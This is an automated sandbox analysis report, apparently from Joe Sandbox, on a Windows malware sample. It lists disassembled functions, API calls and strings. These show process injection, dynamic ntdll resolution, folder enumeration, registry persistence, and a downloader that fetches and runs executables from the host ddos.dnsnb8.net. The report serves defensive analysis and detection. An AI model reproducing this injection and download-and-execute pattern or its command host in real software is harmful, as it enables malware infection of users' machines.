Opcode ID: d0b1a79aa4c462ad44ecc9392d585fdbe1d19d16f4d434a85cbd1d30edee96da
Instruction ID: 186fe5be79785259f1872443284916a5363f1187a29e07790adc69cdd5997470
Opcode Fuzzy Hash: d0b1a79aa4c462ad44ecc9392d585fdbe1d19d16f4d434a85cbd1d30edee96da
Instruction Fuzzy Hash: 9BF082B164020835EB30E6618C0BF9A715C6B0070CF504676B714F61D1DAF8EA4587AD

Function 00401379 Relevance: 4.5, APIs: 3, Instructions: 35
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000001,?), ref: 004013BB
CloseHandle.KERNEL32(?,?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000001,?), ref: 004013C8
CloseHandle.KERNEL32(?,?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000001,?), ref: 004013CD

Memory Dump Source

Source File: 00000001.00000002.2047853106.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2047853106.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_#U65b0#U7248#U7f51#U5173Srv.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateProcess
String ID:
API String ID: 2922976086-0
Opcode ID: 8cb9f19ee399d787c8b4674e150e4f549b15538f8041b33c1cced284ee0a84ec
Instruction ID: 9702a8fae010102b8f3319c9dcbb37de3e5b74a77d2506e72a6bb3d194965e30
Opcode Fuzzy Hash: 8cb9f19ee399d787c8b4674e150e4f549b15538f8041b33c1cced284ee0a84ec
Instruction Fuzzy Hash: 00F05E7280410DAADF00EBD1CD42FDEB73CBF04358F204022B304BA0D1E7B8A6588759

Function 004015BF Relevance: 3.8, APIs: 3, Instructions: 39
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00401402: ExpandEnvironmentStringsA.KERNEL32(%ProgramFiles%,?,000002FC,?,00000000,00000000), ref: 0040144C
Part of subcall function 00401402: lstrcat.KERNEL32(?,00000000), ref: 0040152F
Part of subcall function 00401402: CreateDirectoryA.KERNEL32(?,00000000,00000000), ref: 0040153D
Part of subcall function 00401402: lstrlen.KERNEL32(?,?,00000000,%ProgramFiles%,?,000002FC,?,00000000,00000000), ref: 00401559
Part of subcall function 00401402: GlobalAlloc.KERNEL32(00000040,-00000002,?,?,00000000,%ProgramFiles%,?,000002FC,?,00000000,00000000), ref: 00401564
Part of subcall function 00401402: lstrcpy.KERNEL32(00000000,?), ref: 00401580
Part of subcall function 00401402: lstrlen.KERNEL32(00000000,00000040,-00000002,?,?,00000000,%ProgramFiles%,?,000002FC,?,00000000,00000000), ref: 0040158B

lstrlen.KERNEL32(00000000,00000000), ref: 004015E7
GlobalReAlloc.KERNEL32(00000000,-00000002,00000042), ref: 004015F8
lstrcat.KERNEL32(00000000,00000000), ref: 0040160A

Memory Dump Source

Source File: 00000001.00000002.2047853106.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2047853106.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_#U65b0#U7248#U7f51#U5173Srv.jbxd

Yara matches

Similarity

API ID: lstrlen$AllocGloballstrcat$CreateDirectoryEnvironmentExpandStringslstrcpy
String ID:
API String ID: 2659262781-0
Opcode ID: 2fb2131fb38e80ddb3e8ae19328d31c865ea21cfca0204d091205f4c0a63eab0
Instruction ID: 6719ae48cc28c76d49d2bd0530c86b5922777cc1d1538b35a8369e0cf4bbc5c8
Opcode Fuzzy Hash: 2fb2131fb38e80ddb3e8ae19328d31c865ea21cfca0204d091205f4c0a63eab0
Instruction Fuzzy Hash: 32F04972900108FBDB21AB55DD46EAE7B76EF40324F248076F400B51E1D7B58F10EA68

Function 004016DF Relevance: 3.0, APIs: 2, Instructions: 20
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexA.KERNEL32(00000000,00000000,?), ref: 004016EC
GetLastError.KERNEL32(00000000,00000000,?), ref: 004016F8

Part of subcall function 004016C2: ReleaseMutex.KERNEL32(00000000), ref: 004016CE
Part of subcall function 004016C2: CloseHandle.KERNEL32(00000000,00000000), ref: 004016D6

Memory Dump Source

Source File: 00000001.00000002.2047853106.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2047853106.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_#U65b0#U7248#U7f51#U5173Srv.jbxd

Yara matches

Similarity

API ID: Mutex$CloseCreateErrorHandleLastRelease
String ID:
API String ID: 733076996-0
Opcode ID: 0897c6c8bd5289ff081836c2ea4f05b2bb83777deb02434dc499b74169ab8284
Instruction ID: 09fa4dce51ae3b9f4bbea8390c7e24992755dbbf689dbb8f605fa6f359d9358e
Opcode Fuzzy Hash: 0897c6c8bd5289ff081836c2ea4f05b2bb83777deb02434dc499b74169ab8284
Instruction Fuzzy Hash: 2EE0CD30604109F7DF50A7B48D43B8D76605B00314F300036B604B91F2D6748F00665D

Non-executed Functions

Function 00401848 Relevance: 52.6, APIs: 15, Strings: 15, Instructions: 98libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll), ref: 00401853
GetProcAddress.KERNEL32(?,LdrLoadDll), ref: 0040186C
GetProcAddress.KERNEL32(?,LdrGetDllHandle), ref: 00401887
GetProcAddress.KERNEL32(?,LdrGetProcedureAddress), ref: 004018A2
GetProcAddress.KERNEL32(?,RtlInitUnicodeString), ref: 004018BD
GetProcAddress.KERNEL32(?,RtlUnicodeStringToAnsiString), ref: 004018D8
GetProcAddress.KERNEL32(?,RtlFreeAnsiString), ref: 004018F3
GetProcAddress.KERNEL32(?,RtlInitString), ref: 0040190E
GetProcAddress.KERNEL32(?,RtlAnsiStringToUnicodeString), ref: 00401929
GetProcAddress.KERNEL32(?,RtlFreeUnicodeString), ref: 00401944
GetProcAddress.KERNEL32(?,ZwProtectVirtualMemory), ref: 0040195B
GetProcAddress.KERNEL32(?,RtlCreateUserThread), ref: 00401972
GetProcAddress.KERNEL32(?,ZwFreeVirtualMemory), ref: 00401989
GetProcAddress.KERNEL32(?,ZwDelayExecution), ref: 004019A0
GetProcAddress.KERNEL32(?,ZwQueryInformationProcess), ref: 004019B7

Strings

ntdll.dll, xrefs: 0040184E
LdrLoadDll, xrefs: 00401864
ZwQueryInformationProcess, xrefs: 004019AF
RtlCreateUserThread, xrefs: 0040196A
RtlAnsiStringToUnicodeString, xrefs: 00401921
RtlFreeUnicodeString, xrefs: 0040193C
LdrGetDllHandle, xrefs: 0040187F
ZwProtectVirtualMemory, xrefs: 00401953
RtlFreeAnsiString, xrefs: 004018EB
ZwFreeVirtualMemory, xrefs: 00401981
RtlUnicodeStringToAnsiString, xrefs: 004018D0
ZwDelayExecution, xrefs: 00401998
LdrGetProcedureAddress, xrefs: 0040189A
RtlInitUnicodeString, xrefs: 004018B5
RtlInitString, xrefs: 00401906

Memory Dump Source

Source File: 00000001.00000002.2047853106.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2047853106.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_#U65b0#U7248#U7f51#U5173Srv.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: LdrGetDllHandle$LdrGetProcedureAddress$LdrLoadDll$RtlAnsiStringToUnicodeString$RtlCreateUserThread$RtlFreeAnsiString$RtlFreeUnicodeString$RtlInitString$RtlInitUnicodeString$RtlUnicodeStringToAnsiString$ZwDelayExecution$ZwFreeVirtualMemory$ZwProtectVirtualMemory$ZwQueryInformationProcess$ntdll.dll
API String ID: 667068680-543826357
Opcode ID: 69ca6255efe83f27f5b84edb10674d8826c510bd713bf2e009cb445737337cba
Instruction ID: bc6468009a329136bf4eb22e9ff5b6ca0f6950a870a5312c355c34da05818bdd
Opcode Fuzzy Hash: 69ca6255efe83f27f5b84edb10674d8826c510bd713bf2e009cb445737337cba
Instruction Fuzzy Hash: C8310EF0D10285AADF21ABE5DE46B6D7AA1DF00704F240577A450F12F1D7BC4E98EA4D

Function 004027E0 Relevance: 13.6, APIs: 9, Instructions: 58threadprocessinjectionCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 004027EB
CreateToolhelp32Snapshot.KERNEL32(00000004,00000000,00000000), ref: 004027F7
Thread32First.KERNEL32(?,?), ref: 00402817
OpenThread.KERNEL32(00000002,00000000,?,00000004,00000000,00000000), ref: 00402837
SuspendThread.KERNEL32(?,00000002,00000000,?,00000004,00000000,00000000), ref: 0040284C
ResumeThread.KERNEL32(?,00000002,00000000,?,00000004,00000000,00000000), ref: 0040285C
CloseHandle.KERNEL32(?,00000002,00000000,?,00000004,00000000,00000000), ref: 00402864
Thread32Next.KERNEL32(?,?), ref: 00402870
CloseHandle.KERNEL32(?,00000004,00000000,00000000), ref: 0040287D

Memory Dump Source

Source File: 00000001.00000002.2047853106.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2047853106.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_#U65b0#U7248#U7f51#U5173Srv.jbxd

Yara matches

Similarity

API ID: Thread$CloseHandleThread32$CreateCurrentFirstNextOpenResumeSnapshotSuspendToolhelp32
String ID:
API String ID: 3514557714-0
Opcode ID: 0118cb965083a1ba79e813ec2114a3858d31d32c2e44b98e012112c602bc8cff
Instruction ID: 86f68fd1592829ff739bdd2ae1b77707a543462ea7653b1b0fc8759417c2ad1e
Opcode Fuzzy Hash: 0118cb965083a1ba79e813ec2114a3858d31d32c2e44b98e012112c602bc8cff
Instruction Fuzzy Hash: B1112135D00209EBDF11ABA1CE8ABDDBB74AF04314F108576F510B52D1D7B99E819B68

Function 00402002 Relevance: 7.6, APIs: 5, Instructions: 133memoryinjectionCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,00000000,00003000,00000040,?,?,10000000), ref: 00402054
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,00003000,00000040,?,?,10000000), ref: 0040206C
VirtualAllocEx.KERNEL32(00000000,?,00000000,00003000,00000040,00000000,00000000,00008000,?,00000000,00003000,00000040,?,?,10000000), ref: 00402081
WriteProcessMemory.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,00000000,?,00000000,00003000,00000040,?), ref: 004020DD
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 004021A7

Memory Dump Source

Source File: 00000001.00000002.2047853106.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2047853106.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_#U65b0#U7248#U7f51#U5173Srv.jbxd

Yara matches

Similarity

API ID: Virtual$Alloc$FileFreeMemoryModuleNameProcessWrite
String ID:
API String ID: 1226386272-0
Opcode ID: 99f1d0cef540fc1391a52dc09f1b73d262763056076365d94c7d4ad8aa465b5d
Instruction ID: 20129d6dd5dd2ce482b1996248009f9aa0b5b2071adf242341de1031ba6d11b0
Opcode Fuzzy Hash: 99f1d0cef540fc1391a52dc09f1b73d262763056076365d94c7d4ad8aa465b5d
Instruction Fuzzy Hash: 0051B572900119EEDF22AFD4DD45BEEBB75EB08304F1044A6F614B51E1C7B99A90DF48

Function 00401F20 Relevance: 3.0, APIs: 2, Instructions: 22memoryinjectionCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,00000000,?,00003000,00000040), ref: 00401F35
WriteProcessMemory.KERNEL32(?,?,?,?,?,?,00000000,?,00003000,00000040), ref: 00401F51

Memory Dump Source

Source File: 00000001.00000002.2047853106.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2047853106.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_#U65b0#U7248#U7f51#U5173Srv.jbxd

Yara matches

Similarity

API ID: AllocMemoryProcessVirtualWrite
String ID:
API String ID: 645232735-0
Opcode ID: a40881a6ea890c5aff068fbf20b838326d59925dc1a23925e9617d708ec640d8
Instruction ID: 4db4b1bd7853843878adcc9bcb2fb5b9366ba52cc26ba2a7a2ef3333905d6f45
Opcode Fuzzy Hash: a40881a6ea890c5aff068fbf20b838326d59925dc1a23925e9617d708ec640d8
Instruction Fuzzy Hash: 02E0E53260020EFBCF129F91CD02FDE7B69AF04304F144126BA28B91E0D6B5DA20AB58

Function 0040A363 Relevance: 13.9, Strings: 11, Instructions: 195COMMON

Download Yara Rule

Strings

CreateProcessA, xrefs: 0040A4FC
FreeLibrary, xrefs: 0040A3EC
GetLastError, xrefs: 0040A474
GetModuleFileNameA, xrefs: 0040A4DA
WriteFile, xrefs: 0040A4B8
kernel32.dll, xrefs: 0040A3D0
CreateMutexA, xrefs: 0040A40E
KyUffThOkYwRRtgPP, xrefs: 0040A51E
ReleaseMutex, xrefs: 0040A430
CloseHandle, xrefs: 0040A452
CreateFileA, xrefs: 0040A496

Memory Dump Source

Source File: 00000001.00000002.2047853106.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2047853106.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_#U65b0#U7248#U7f51#U5173Srv.jbxd

Yara matches

Similarity

API ID:
String ID: CloseHandle$CreateFileA$CreateMutexA$CreateProcessA$FreeLibrary$GetLastError$GetModuleFileNameA$KyUffThOkYwRRtgPP$ReleaseMutex$WriteFile$kernel32.dll
API String ID: 0-2149022692
Opcode ID: 132d1907daee8841d4181bc0febff45c75e6edec66cf8881b9ce40cf8a581f1c
Instruction ID: fa241c0b53f64fb1b9f30a6edefe02a47125ce196ad1b6ca31ea9b43f0ac823c
Opcode Fuzzy Hash: 132d1907daee8841d4181bc0febff45c75e6edec66cf8881b9ce40cf8a581f1c
Instruction Fuzzy Hash: B581F47190038AEEEB31DE64CC89BDF3B69FF14380F544522ED0982298DF385A65EB54

Function 00402602 Relevance: 7.7, APIs: 5, Instructions: 159memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00002000,00000001,?), ref: 00402663
VirtualAlloc.KERNEL32(?,?,00001000,00000004,?,?,00002000,00000001,?), ref: 0040268A
VirtualProtect.KERNEL32(?,?,00000002,?,?,?,00001000,00000004,?,?,00002000,00000001,?), ref: 004026BA
VirtualAlloc.KERNEL32(?,?,00001000,00000004,?,?,?,?,00000002,?,?,?,00001000,00000004,?,?), ref: 0040270D
VirtualProtect.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,00001000,00000004,?), ref: 004027C2

Memory Dump Source

Source File: 00000001.00000002.2047853106.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2047853106.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_#U65b0#U7248#U7f51#U5173Srv.jbxd

Yara matches

Similarity

API ID: Virtual$Alloc$Protect
String ID:
API String ID: 655996629-0
Opcode ID: faa52ed43cd77676b702412410f2a1bdd558652dc257b96df986887e42091d24
Instruction ID: 96a6c0cd5334beb3fa36ead02948455c214efa3f4d05aea688992a3438b1af0e
Opcode Fuzzy Hash: faa52ed43cd77676b702412410f2a1bdd558652dc257b96df986887e42091d24
Instruction Fuzzy Hash: B7511B32900209AFDF159F95CD45BEEBB71FF08314F104466F610B66E1D3B9A9A0DBA4

Function 004012FF Relevance: 7.5, APIs: 5, Instructions: 44filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,00000000), ref: 00401321
GetFileSize.KERNEL32(?,00000000,00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,00000000), ref: 00401333
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,00000000), ref: 00401340
ReadFile.KERNEL32(?,00000000,00000000,?,00000000,00000040,00000000,?,00000000,00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 0040135B
CloseHandle.KERNEL32(?,00000000,00000040,00000000,?,00000000,00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,00000000), ref: 0040136A

Memory Dump Source

Source File: 00000001.00000002.2047853106.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2047853106.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_#U65b0#U7248#U7f51#U5173Srv.jbxd

Yara matches

Similarity

API ID: File$AllocCloseCreateGlobalHandleReadSize
String ID:
API String ID: 722267120-0
Opcode ID: 11d7c8a199bbd4e01152e45357bb35233b2fbe09b3261f2c80c953f84659463b
Instruction ID: 79cc8bef3f632a0c77fc9708f8f56676fd4cb2f71734551f03fa5f540b5cbac7
Opcode Fuzzy Hash: 11d7c8a199bbd4e01152e45357bb35233b2fbe09b3261f2c80c953f84659463b
Instruction Fuzzy Hash: 4601E831E40208FAEF219BE1DD02FADBB75BF04B14F2081A6BB10791E0D6B55B51AB08

Function 00402270 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

Part of subcall function 0040220E: ReadProcessMemory.KERNEL32(?,?,?,0000000C,?), ref: 00402251

ReadProcessMemory.KERNEL32(?,?,?,00000040,?,00000000), ref: 0040229D
ReadProcessMemory.KERNEL32(?,?,?,000000F8,?), ref: 004022C8

Strings

PE, xrefs: 004022D1
MZ, xrefs: 004022A6

Memory Dump Source

Source File: 00000001.00000002.2047853106.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2047853106.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_#U65b0#U7248#U7f51#U5173Srv.jbxd

Yara matches

Similarity

API ID: MemoryProcessRead
String ID: MZ$PE
API String ID: 1726664587-1102611028
Opcode ID: ca2693b3a002a90c9008a8d5c803d614c5cb3d8d4de5a3cffed5cd9569d7e1f6
Instruction ID: ff517562bc2addfbfb0c077f2f9b6474b95ba07a3f67e200e1b9cf5a963460f1
Opcode Fuzzy Hash: ca2693b3a002a90c9008a8d5c803d614c5cb3d8d4de5a3cffed5cd9569d7e1f6
Instruction Fuzzy Hash: F901E97190020DEEDF10CBD4CD89AEDBBB8AB04308F0440ABA604B62D1D6B49E81DB58

Function 004028CA Relevance: 6.1, APIs: 4, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,0000000A,00000040,?,00000000), ref: 004028E7
VirtualAlloc.KERNEL32(00000000,?,00001000,00000040,?,0000000A,00000040,?,00000000), ref: 00402918
VirtualProtect.KERNEL32(?,?,?,?,00000000,?,00001000,00000040,?,0000000A,00000040,?,00000000), ref: 00402980
VirtualProtect.KERNEL32(?,0000000A,?,?,00000000,?,00001000,00000040,?,0000000A,00000040,?,00000000), ref: 00402996

Memory Dump Source

Source File: 00000001.00000002.2047853106.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2047853106.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_#U65b0#U7248#U7f51#U5173Srv.jbxd

Yara matches

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: b624685df5d148c5f5d8977b36e0dfec35c6051c875e89731f60305fe2ffb819
Instruction ID: b6ba2b43a951933c86d16c11af4f64c0acd03aa07567240cc84e3321d53f4215
Opcode Fuzzy Hash: b624685df5d148c5f5d8977b36e0dfec35c6051c875e89731f60305fe2ffb819
Instruction Fuzzy Hash: 5C311871A0020AEFDF11CFA9C945B9DBFB4EF14340F14406AFA48BA290D6759A91DB94

Function 00401295 Relevance: 6.0, APIs: 4, Instructions: 37fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,00000080,00000000,00000000), ref: 004012B6
SetFilePointer.KERNEL32(?,00000000,00000000,00000002,?,40000000,00000003,00000000,?,00000080,00000000,00000000), ref: 004012D2
WriteFile.KERNEL32(?,00000000,?,?,00000000,?,40000000,00000003,00000000,?,00000080,00000000,00000000), ref: 004012E6
CloseHandle.KERNEL32(?,?,00000000,?,?,00000000,?,40000000,00000003,00000000,?,00000080,00000000,00000000), ref: 004012EE

Memory Dump Source

Source File: 00000001.00000002.2047853106.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2047853106.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_#U65b0#U7248#U7f51#U5173Srv.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandlePointerWrite
String ID:
API String ID: 3604237281-0
Opcode ID: 4057afce5a22d0220b692eabcf17883746c6d019bec3603942c7da109d02820a
Instruction ID: 075fdeaf1b34fa61d46e1d9352e38da4b48368fe327db8da620f2795438672a1
Opcode Fuzzy Hash: 4057afce5a22d0220b692eabcf17883746c6d019bec3603942c7da109d02820a
Instruction Fuzzy Hash: 6EF0FF31A40209FAEF219E90DD47F9D7B35AF04718F204266B620791E1C7B55E60AB09

Analysis Process: uvkTKBif.exePID: 5144, Parent PID: 3712COMMON

Execution Graph

Execution Coverage:	31.1%
Dynamic/Decrypted Code Coverage:	5%
Signature Coverage:	20.4%
Total number of Nodes:	279
Total number of Limit Nodes:	10

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 007829E2 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 128
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00782A02
wsprintfA.USER32 ref: 00782A1A
memset.MSVCRT ref: 00782A44
lstrlen.KERNEL32(?), ref: 00782A54
lstrcpyn.KERNEL32(?,?,-00000001), ref: 00782A6C
strrchr.MSVCRT ref: 00782A7C
lstrcmpiA.KERNEL32(?,Documents and Settings), ref: 00782A9F
lstrlen.KERNEL32(Documents and Settings), ref: 00782AAE
memset.MSVCRT ref: 00782AC6
memset.MSVCRT ref: 00782ADA
FindFirstFileA.KERNEL32(?,?), ref: 00782AEF
memset.MSVCRT ref: 00782B13
lstrcmpiA.KERNEL32(?,?), ref: 00782B42
FindNextFileA.KERNEL32(00000000,?,?,?,?), ref: 00782B67
FindClose.KERNEL32(00000000), ref: 00782B6E

Strings

C:\, xrefs: 00782A2F
%s*, xrefs: 00782A14
Documents and Settings, xrefs: 00782A8D, 00782A92, 00782A9A, 00782AAD

Memory Dump Source

Source File: 00000002.00000002.3310449516.0000000000781000.00000020.00000001.01000000.00000006.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.3310402742.0000000000780000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310500480.0000000000783000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310549234.0000000000784000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310580419.0000000000786000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_uvkTKBif.jbxd

Similarity

API ID: memset$Find$Filelstrcmpilstrlen$CloseFirstNextlstrcpynstrrchrwsprintf
String ID: %s*$C:\$Documents and Settings
API String ID: 2826467728-110786608
Opcode ID: 7ee65fa3f3eb25c7d0a7897077968eb9dd4a3092d0baa4b7107fa213023a31a7
Instruction ID: 1b819ecfeafba42b69d7cc5143e2d7abd51990fe7de94f6d8ecf0271423e10b5
Opcode Fuzzy Hash: 7ee65fa3f3eb25c7d0a7897077968eb9dd4a3092d0baa4b7107fa213023a31a7
Instruction Fuzzy Hash: A64195B2444349AFD720EBA4DC4CDEB77ECEB84716F144829F944C3012F638D64987A6

Function 00781099 Relevance: 22.8, APIs: 7, Strings: 6, Instructions: 74
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0078185B: GetSystemTimeAsFileTime.KERNEL32(?,ddos.dnsnb8.net,75A78400,http://%s:%d/%s/%s,?,?,?,00781118), ref: 00781867
Part of subcall function 0078185B: srand.MSVCRT ref: 00781878
Part of subcall function 0078185B: rand.MSVCRT ref: 00781880
Part of subcall function 0078185B: srand.MSVCRT ref: 00781890
Part of subcall function 0078185B: rand.MSVCRT ref: 00781894

WinExec.KERNEL32(?,00000005), ref: 007810F1
lstrlen.KERNEL32(00784748), ref: 007810FA
wsprintfA.USER32 ref: 0078112A
wsprintfA.USER32 ref: 00781143
URLDownloadToFileA.URLMON(00000000,?,?,00000000,00000000), ref: 0078115B
lstrlen.KERNEL32(ddos.dnsnb8.net,00000000,?,?,00000000,00000000), ref: 00781169
Sleep.KERNEL32 ref: 00781179

Strings

http://%s:%d/%s/%s, xrefs: 007810C2, 00781141
ddos.dnsnb8.net, xrefs: 007810C8, 007810CF, 00781140, 00781168
HGx, xrefs: 0078112C
C:\Users\user\AppData\Local\Temp\, xrefs: 00781119
%s%.8X.exe, xrefs: 00781124
cj/, xrefs: 00781135

Memory Dump Source

Source File: 00000002.00000002.3310449516.0000000000781000.00000020.00000001.01000000.00000006.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.3310402742.0000000000780000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310500480.0000000000783000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310549234.0000000000784000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310580419.0000000000786000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_uvkTKBif.jbxd

Similarity

API ID: FileTimelstrlenrandsrandwsprintf$DownloadExecSleepSystem
String ID: %s%.8X.exe$C:\Users\user\AppData\Local\Temp\$HGx$cj/$ddos.dnsnb8.net$http://%s:%d/%s/%s
API String ID: 1280626985-2602058152
Opcode ID: 73b2d957714f5981c113d26a06c1fbca7f3ad1493a683c3189c3bfbd24bccc86
Instruction ID: c40412de90e97b417a31864b25444195ed670c98d42a5e23c4f5127bb6fbfae2
Opcode Fuzzy Hash: 73b2d957714f5981c113d26a06c1fbca7f3ad1493a683c3189c3bfbd24bccc86
Instruction Fuzzy Hash: E0219075D8020DFEDB20EBA0DC49FAEBBBDAB05715F6180A5E500A2050D7BC9B85CF64

Function 00781718 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 65
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,00000104,C:\Users\user\AppData\Local\Temp\uvkTKBif.exe), ref: 00781729
SHSetValueA.SHLWAPI(80000002,SOFTWARE\GTplus,Time,00000003,?,00000008), ref: 0078174C
SHGetValueA.SHLWAPI(80000002,SOFTWARE\GTplus,Time,?,?,00000001), ref: 0078177C
__aulldiv.LIBCMT ref: 00781796
__aulldiv.LIBCMT ref: 007817A8

Strings

SOFTWARE\GTplus, xrefs: 00781742, 0078176B
C:\Users\user\AppData\Local\Temp\uvkTKBif.exe, xrefs: 00781722
Time, xrefs: 0078173D, 00781766

Memory Dump Source

Source File: 00000002.00000002.3310449516.0000000000781000.00000020.00000001.01000000.00000006.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.3310402742.0000000000780000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310500480.0000000000783000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310549234.0000000000784000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310580419.0000000000786000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_uvkTKBif.jbxd

Similarity

API ID: TimeValue__aulldiv$FileSystem
String ID: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe$SOFTWARE\GTplus$Time
API String ID: 541852442-3939350559
Opcode ID: 4a767a04fd05e9788c89faddbceb70508d9c41b30cdf3f91693bb454ed55244f
Instruction ID: a001516d693af371cfd0d15fa5cc9a1f310aea3ed2cbc7bdad36af772f576b82
Opcode Fuzzy Hash: 4a767a04fd05e9788c89faddbceb70508d9c41b30cdf3f91693bb454ed55244f
Instruction Fuzzy Hash: 311198B1A80209BBDB10EB94DC89FEF7BBCEB44F24F508119FA00B6141D7799A45CB64

Function 00786076 Relevance: 11.1, APIs: 7, Instructions: 618
memoryCOMMON

Download Yara Rule

